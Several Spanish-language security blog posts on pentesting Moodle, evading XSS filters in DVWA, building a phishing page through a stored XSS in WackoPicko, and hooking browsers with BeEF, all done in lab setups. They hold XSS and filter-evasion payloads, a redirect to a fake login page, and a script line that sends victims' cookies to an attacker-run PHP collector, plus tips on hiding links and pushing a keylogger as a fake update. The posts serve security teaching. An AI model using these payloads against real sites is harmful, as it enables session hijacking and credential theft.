Pentesting Moodle II - Desde dentro

Buenas compañeros,

Este post es la segunda parte de la entrada Pentesting Moodle relacionado con la investigación que hice en mi trabajo de fin de grado. En la primera parte Pentesting con Moodle I - Desde fuera el pentesting se basó en un enfoque de caja negra, es decir, sin tener ningún tipo de conocimiento emulando el rol de un posible atacante.

En este caso, se va a enfocar el rol de caja blanca o caja negra con acceso a la parte privada de la aplicación web con mínimos privilegios, es decir, se está emulando el rol de un alumno o de un profesor (una cuenta cuenta con un nivel intermedio de privilegios).

Vamos al lío!

Enumeración de usuarios

Nuevamente dentro de la aplicación es posible realizar una enumeración de usuarios. Entrando en el perfil del usuario que se tiene en la url se pueda observar un id= X

De esta manera, se puede deducir que el usuario actual tiene el id = 4, por lo tanto, si se va variando a el valor del id, se podría ir accediendo a los perfiles públicos de los diferentes usuarios que estén en la plataforma registrados.

Tras realizar un par de posibles enumeraciones se observan los siguientes resultados:

Usuario registrado pero no se tiene acceso (controles de autorización)  Esto es debido a dos motivos: alumno registrado en un curso diferente del actual o por ser un usuario con privilegios (administrador o profesor de otros cursos).

Usuario no registrado: ID no asociado a ningún usuario.

Usuario con permisos accesible: Se está accediendo al perfil de un profesor que está matriculado en nuestro curso, de ahí que se pueda visualizar su perfil así como conocer el id que tiene asociado en la plataforma que es una información útil para posibles intentos de intrusión.

Además Moodle está permitiendo la visualización de un listado de los usuarios matriculados en un curso (tanto profesor/es como alumnos) con datos interesantes como los correos electrónicos para posibles campañas de phishing.

Esta información puede ser utilizada para atacar la aplicación web, por ejemplo, a través de un ataque de fuerza bruta o un ataque de usuarios/contraseñas predeterminadas.

Con la información recolectada se podría crear un diccionario personalizado con la combinación de nombre y apellidos, o a través de partes del nombre de la aplicación o cualquier otro dato significante a través de la información obtenida en su perfil, una vez que se sabe que está registrado en la aplicación.

Incorrecta configuración de seguridad

Esta vulnerabilidad es bastante peculiar...Los que habéis tenido que hacer algún examen a través de Moodle seguro que os hubiera gustado poder parar el contador del examen o incluso suprimirlo...pues resulta que es posible...

Adquiriendo el rol de alumno que se dispone a realizar un test que tiene un tiempo de duración limitada.

Sabiendo que el contador de tiempo se encuentra implementado con JavaScript, se realiza como prueba de concepto la deshabilitación de JavaScript empleando el complemento de Firefox Mozilla, NoScript. De tal manera, que se obtiene como resultado saltarse la duración por tiempo limitado para la realización del test.

Mientras que deshabilitando JavaScript desaparece el contador del tiempo para finalizar el test. El aspecto para la realización del test es el siguiente:

Cross Site Scripting (XSS) almacenado

Verificando la posibilidad de XSS almacenado en los test correspondiente al módulo quiz. Adquiriendo el rol de profesor (con permisos de edición) quien tiene la capacidad de poder editar un curso para añadir foros, exámenes, noticias,…se verifica que es vulnerable a XSS.

Citar que los compañeros de @FluProject, desarrollaron una herramienta llamado Flunym0us  para enumerar plugins de Moodle.

Como prueba de concepto se introduce código JavaScript tanto en el contenido de la pregunta como en la retroalimentación de la pregunta. Esto es posible pues permite el uso de HTML en el contenido tanto de la pregunta del test como en la retroalimentación del mismo.

<𝑠𝑐𝑟𝑖𝑝𝑡>𝑎𝑙𝑒𝑟𝑡(‘𝑉𝑢𝑙𝑛𝑒𝑟𝑎𝑏𝑙𝑒 𝑋𝑆𝑆’)</𝑠𝑐𝑟𝑖𝑝𝑡>

De tal manera que nada más iniciar el examen cuando se muestra la primera pregunta aparece el alert:

Análogamente tomando el rol de profesor, añadiendo el recurso “Página” es posible explotar la vulnerabilidad XSS en la descripción y/o contenido de la página al posibilitar introducir código HTML.

 De esta manera se inyecta código JavaScript y al no existir mecanismos de protección anti-XSS en este recurso se posibilita explotar la vulnerabilidad. Inyectando el código:

<𝑠𝑐𝑟𝑖𝑝𝑡 𝑡𝑦𝑝𝑒 =”𝑡𝑒𝑥𝑡/𝑗𝑎𝑣𝑎𝑠𝑐𝑟𝑖𝑝𝑡”>𝑎𝑙𝑒𝑟𝑡(𝑑𝑜𝑐𝑢𝑚𝑒𝑛𝑡.𝑐𝑜𝑜𝑘𝑖𝑒)</𝑠𝑐𝑟𝑖𝑝𝑡>

Se consigue visualizar la cookie del usuario que accede al recurso como se muestra en la siguiente figura:

En las diferentes entradas del blog, se han desarrollando pruebas de concepto de los riegos de un XSS y como explotarlos: phishing manual explotando xss y automatizando  vulnerabilidades xss con beEF

Exposición de información sensible

Existe una exposición de información debido a un incorrecto control de autorización desde el exterior, esto es, un usuario sin estar logueado en la plataforma podría acceder a información sensible desde el exterior a través de rutas predecibles o fáciles de descubrir empleando herramientas como dirbuster.

Acceso README.txt:

Como ya se detalló en el post anterior, el acceso al fichero README.txt desvela información sensible como la ruta para ejecutar el script cron.php

Listing herramientas del panel de administrador:

Se puede acceder al listado de directorios de las herramientas disponibles por el administrador:

Acceso documento explicativo de cookies:

A su vez, es posible acceder a través de la URL a un fichero que explica las cookies que soportan y su uso:

Errores y excepciones no controladas:

Numerosos errores y excepciones no controladas que facilitan el conocimiento de información como son los parámetros que esperan recibir.

Citar que las pruebas que se han mostrador se han realizado en entornos controlados y virtuales, por lo que la finalidad de esta entrada es con fines educativas y formativos, no nos hacemos responsables de uso para otro fin.


Espero que os haya gustado :) ¡Para cualquier cosa, usad el apartado de comentarios!

La mejor defensa es un buen ataque.

NaxHack5

PoC: Evitando filtros anti-XSS

Buenas compañeros,

Esta entrada se va a centrar en cómo evitar filtros para evitar ataques XSS (Cross Site Scripting).

Para ello, se va a tomar como plataforma de pruebas DVWA, ya sabéis para no meterse en líos

Como ya sabéis para instalar DVWA, os montáis la máquina virtual y le metéis la iso de DVWA (https://github.com/nightmare-rg/dvwa-vagrant/tree/master/dvwa-1.0.8)

Vamos a ello!

Seleccionando la opción de XSS reflected y ajustando el nivel de dificultad, tenemos todo listo para empezar:

Nivel low

En el nivel "low" el servidor web no aplica ningún tipo de validación de los parámetros de entrada por lo que introduciendo la típica cadena

<script>alert("XSS")</script> 

visualizamos el alert verificando que es vulnerable.

Una vez que se ha visto que es vulnerable, se examina el código que como se dedujo, no existe ningún mecanismo de validación de entrada:

Recomendaciones:

Para evitar todo tipo de inyección nunca se debe confiar de datos o fuentes externas y validar todo sin suponer nada, por ejemplo, que los datos esperados son los que el usuario va a introducir.

Para ello, se debe validar todos los datos de entrada, escapar o filtrar los datos no permitidos y opcionalmente sanearlos. Sin embargo, el saneamiento de datos es opcional puesto si la aplicación recibe datos que no debería podría rechazarlos y enviar un mensaje de error para que el usuario los introduzca correctamente para ser aceptados.

En este caso, en PHP se tiene una función para filtrar etiquetas no permitidas como /, <, </, script,…. Esta función es script_tags

Otra función útil para escapar los datos de entrada  antes de ser mostrados cuando el código de entrada esperado es HTML es htmlspecialchars.

Del mismo modo, se debería emplear la función trim que elimina caracteres especiales de inicio o final de la cadena sustituyéndolo por espacios en blanco. Por ejemplo, elimina \t\n\r\0/


Nivel medium

Introduciendo el mismo código, ya no se ejecuta, por lo tanto, se puede deducir que se están aplicando mecanismos de validación de los parámetros de entrada.

Por lo tanto, para detectar que keywords está se realiza una batería de pruebas para identificar los posibles parámetros "prohibidos" para de esta manera, poder evitarlos.

Entrada	Salida
script	Hello script
<script>	hello
script>	Hello script> -- Este es bueno!
<script	hello
<<script>>	Hello <> -- Filtra keyword script

Como se observa está filtrando el keyworsd "<script>". Sin embargo, sabiendo que:

<<script>    devuelve    <

    script>       devuelve    <

Ya tenemos la formula de evitar el filtro:

<<script>script>alert("XSS medium")</script>

Análogamente a la reconstrucción del tag de script en función del filtrado, se podría incluir construir el tag de script en partes:

<scr>script>ipt>alert(“XSS DVWA”);</script>

Del mismo modo, a la reconstrucción del tag de script en función del filtrado, se podría incluir espacios en blanco en los < > para saltarse la restricción y ver si el servidor interpreta dicho código y lo ejecuta.

<<script>script>alert(“XSS medium”);</script >

De ahí el fallo que reemplaza justamente esa palabra exacta. Por lo tanto, introduciendo el código:

<script type="text/javascript">alert("XSS medium")</script>

No detecta la cadena <script> exacta y se lo “traga”

Otro intento típico es emplear los tag de script en mayúsculas para verificar si el servidor realiza algún tipo de saneamiento, esto es, una conversión de lso valores introducidos ya sean mayúsculas o minúsculas para su posterior tratamiento y gestión:

<SCRIPT>alert("XSS medium");</SCRIPT>

Una vez vulnerado se mira el código fuente para ver que función emplean para determinar cómo se podría mejorar. 

Observando el código fuente, se aprecia que se está empleando la función str_replace para reemplazar la keyword “<script>” por un espacio en blanco.

Adicionalmente, es más que recomendable revisar el documento de OWASP para explotar XSS (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet).

Espero que os haya gustado :D

Para cualquier cosa, escribir un comentario y estaré encantado de responder.

Saludos.

NaxHack5

"La mejor defensa es un buen ataque"

PoC: Phishing manual explotando un XSS

Buenas compañeros,

Hace un tiempo que no he podido publicar pero uno también tiene que atender sus responsabilidades =D como se suele decir, lo bueno se hace de rogar.

En el blog ya tenemos un par de pruebas de concepto de cómo montar un phishing, ya sea SET o con el framework phishing frenzy todo empleando software especializado. En este post, se va aprovechar una vulnerabilidad de XSS para desarrollar un phishing.

Para ello, como siempre se va a emplear un escenario controlado, ya sabéis hay jugar pero sin meterse en líos. En este caso, se ha empleado la aplicación web WackoPicko, que se encuentran dentro del proyecto OWASP Broken Web APP

Se trata de la típica aplicación que nos podemos encontrar que tiene un buscador de productos. Normalmente cuando veamos algo así, nos entra mono de probar si puede ser vulnerable a un XSS o SQL Injection,pues vamos a ello!

En la barra de buscador se podría intentar incrustar código script. Como prueba de concepto para detectar si el sitio web es vulnerable se introduce el típico código:

<script>alert(“XSS”)</script>

Verificando que es vulnerable, se podría incrustar un XSS persistente, de tal manera, que un usuario legítimo de la aplicación se podría conectar o si ya estuviera autenticado (sería demasiado bueno) y se le redirige a una página idéntica en la que se le indica que se ha producido un error y se tiene que volver a loguear, es decir, implementar un phishing aprovechando una vulnerabilidad de XSS.

Entonces por partes, en primer lugar, insertarmos el código del XSS persistente:

'><script>document.location="http://172.16.1.2/login.html";</script>

A continuación el código del HTML (login.html) que se basa en copiar el código pero no nos descargamos las fuentes sino que las llamamos mediante peticiones.

De tal manera, que el usuario que se vaya al buscador, se le redirige a la página del phishing:

En el fichero HTML (login.html), se está recogiendo las fuentes de la página inicial lo cual tiene dos implicaciones, una de rendimiento que es muy óptimo la página no tarda nada en cargarse, lo cual no levanta sospechosas al usuario, mientras que la segunda desde el punto de vista de la seguridad no es adecuada hacer peticiones a los recursos de un sitio web si estás tratando de usurparlo, esta actividad levanta muchas sospechas.

Se  ha creado el fichero login.html pues ahí se encuentra cargado el servidor Apache y el intérprete de PHP.

Lo que se pretende con este phishing es dos objetivos:

- Robo de credenciales.

- Robo de cookies de usuarios autenticados.

Es posible que algún usuario se encuentra autenticado y al entrar en el buscador directamente nos podemos hacer con su cookie sin necesidad de que introduzca sus credenciales.

Para ello, se crean dos pequeños scripts:

- takelogin.php

- takecookie.php

En el panel de login, en el form se llama mediante el action POST al fichero takelogin.php

Recoge el username y password. Para que no sea visible para la víctima potencial se emplea la función header y se incluye la dirección “verdadera” para que se autentique de nuevo.

En la siguiente captura se observan las peticiones ambos scripts:

Es importante crear manualmente el fichero de texto dónde se van a guardar y sobretodo darle permisos (chmod 777 login.txt). 

Y como se ve en el fichero .txt tenemos los credenciales:

Una vez autenticado, se redirige a la página oficial indicando que los datos introducidos son incorrectos:

Para la recogida de cookies en el propio fichero de login.html se incluye el siguiente código JavaScript:

document.write("<img width='0px' height'0px' src='http://localhost/takecookie.php?cookie=" + document.cookie +  "'>");

En este se aprovecha el tag de una imagen para incluir una llamada a takecookie.php que recoge la cookie.

El código del script takelogin.php es:

Viendo el fichero de las cookies:

Con el valor de estas cookies, se intentaría usar para loguearse empleado una sesión activa de un usuario, ya sabéis empleando un proxy interceptador.

Y esto es todo, espero que os haya molado ver como aprovechando una vulnerabilidad de XSS se puede montar un phishing de manera manual. Para que luego digan que las vulnerabilidades de XSS son sólo para poner un alert o un defacement =D

Ya sabéis para cualquier ayuda, sugerencia, queja o agradecimiento ahí están los comentarios, usadlos! y estaré encantado de responderlos.

Esta entrada está destinada a fines académicos en entornos controlados sin suponer sin ningún impacto. No nos hacemos responsables de uso para otros fines.

Saludos.

La mejor defensa es un buen ataque.

NaxHack5

Automatizando vulnerabilidades XSS con BeEF

Buenas compañeros,

Con esta entrada quería presentaros, aunque imagino que algunos ya lo conoceréis, la herramienta BeEF. Desde mi punto de vista es un pasada de herramienta muy útil y recomendable.

BeEF es una herramienta para automatizar ataques XSS contra aplicaciones web vulnerables del lado del cliente. BeEF contiene un gran arsenal de payloads y ataques contra el objetivo  para conseguir información útil como el sistema operativo, cookies, IP, navegador,...

BeEF ya se encuentra integrada en Kali Linux, por lo que prácticamente nos basaremos en su arranque y ya la tendremos lista para jugar.

Para ello, accediendo a la ruta /usr/share/beef-xss. 

Una vez ahí se ejecuta el fichero beEF: ./beef

También se puede ejecutar clicando en el icono del herramienta en la barra que han añadido en Kali Linux 2.0

Como se observa en la captura anterior, se puede acceder vía web en la url indicada:

http://127.0.0.1:3000/ui/panel

De tal manera que se accede al panel de login:

Seguidamente, introduciendo los credenciales por defecto (beef/beef), se consigue acceso:

Una vez con BeEF ya listo, comienza la prueba de concepto (PoC).

En primer lugar, hay que detectar una vulnerabilidad XSS reflejado o persistente en un aplicación web. Entonces introduciendo una inyección de código del estilo:

'><script>document.location="URL";</script>

BeEF tiene dos escenarios montados en un Apache,siendo uno de ellos algo más currado que es el que vamos a emplear:

Por lo tanto, se inyecta esta url en el input que detectemos vulnerable en una aplicación web:

'><script>document.location="http://172.16.1.2:3000/demos/butcher/index.html";</script>

Para esconder un poco la url, podemos utilizar acortadores de url online como https://bitly.com/ 

De esta manera, cuando una víctima entre en el XSS será redirigido a la página de beEF y se convertirá en un zoombie. Se entiende por zoombie, a un cliente, siendo éste el navegador web de la víctima que tras haber sido objeto de un XSS se dirige a una página controlado por BeEF.

En dicha página, se ejecuta el script (http://127.0.0.1:3000/hook.js) de hook, que se ejecuta cuando la víctima visita la página de BeEf.

Cuando una víctima se conecta, aparece en la vista de "Hooked Browsers":

Como se puede apreciar, un PC con la IP 192.168.1.33 con un sistema operativo Linux y con el navegador Firefox se ha conectado. En la vista de detalles, se aloja información muy útil de la víctima: versión de navegador y sistema operativo, componentes de software instalados (flash, RealPlayer, QuickTime,...)

En la vista de Logs, irán apareciendo todos los eventos del zoombie, mientras que la más interesante es la de Commands, en la que se tienen todos los módulos de BeEF.

Hay que indicar la leyenda de los módulos:

- Verde: La víctima es vulnerable y su ejecución pasa desapercibida.

- Naranja: La víctima es vulnerable pero su ejecución no pasa desapercibida.

- Gris: Indeterminado. ¡Hemos venido a jugar!

- Rojo: La víctima no es vulnerable.

Para comenzar es puede hacer un poco de fingerprinting.  Para ejecutar cualquier módulo es tan fácil como clicar en el, rellenar lo que se pida y en la parte inferior clicar en ejecutar.

Por ejemplo, se podría obtener la cookie:

Detectar si tiene RealPlayer:

Vamos a lo divertido, hay un módulo para que la víctima proporcione permisos para activar la cámara por ejemplo,

Sin embargo, en este caso no usa cámara, pero el mensaje que ve el zoombie es el siguiente:

Revisando los logs, podemos saber todo lo que ha hecho la víctima una vez ha visitado la página de BeEF

Como se muestra en la imagen, se ve todos los datos que ha introducido en los inputs del formulario de la página (un buen keylogger ejecutándose). También dónde ha movido el ratón, prácticamente se puede monitorizar todo el comportamiento del zoombie.¿Mola eh?

Volviendo a los módulos, podríamos instar a la víctima a descargarse una versión de Flash Player (que siempre hay que estar actualizando debido a toda las vulnerabilidades que tiene).

Para ello, en la vista de Ingeniería Social -> Fake Flash Update. En él se indica lo que se desea que se descargue la víctim (por defecto, viene el código de github de BeEF), pero si fueramos chicos malos, podríamos hacer que se bajará un keylogger...

En el zoombie, se vería la siguiente ventana:

Independientemente de donde clique el zoombie (Instalar, recordar más tarde, cerrar o incluso cambiar de pestaña) se pedí confirmación para la descarga del supuesto Flash.

Por último, tiene módulos para hacer un phishing tanto de gmail como de Facebook. En la mismo sección de Ingeniería Social seleccionando Google Phishing:

De tal manera, que la víctima vería el panel de login de gmail, que visualmente es igual.

De tal manera, si una víctima que no se dé cuenta, introduce sus datos, se le indicará que se ha producido un error y se le redirigirá automáticamente al sitio web oficial de gmail.

Mientras tanto en BeEF, nos aparecerán en BeEF:

Como habéis podido ver BeEF es una herramienta muy poderosa para automatizar ataques XSS secuestrando el navegador de la víctima. Ahora bien, estos ataques sólo funcionan mientras la víctima se encuentre en la página trampa de BeEF si no, no tiene efecto. Una vez que cierre el navegador se acabo, BeEF no tiene persistencia en la víctima. Sin embargo, mientras éste ahí se pueden explotar muchas cosas.

Además, BeEF se puede integrar con Metasploit para trabajar conjuntamente. Adicionalmente, hay otra herramienta llamada Subterfuge que posibilita realizar ataques Man in the Middle y también es integrable con BeeF.

Os puedo adelantar que se harán tutoriales y PoC's de estas integraciones pero más adelante =D

La finalidad de esta entrada es con fines educativos, por lo que no somos responsables para otro uso que se le pueda dar.

Espero que les guste =D

Cualquier duda dejen su comentario.

Saludos.

NaxHack5

La mejor defensa es un buena ataque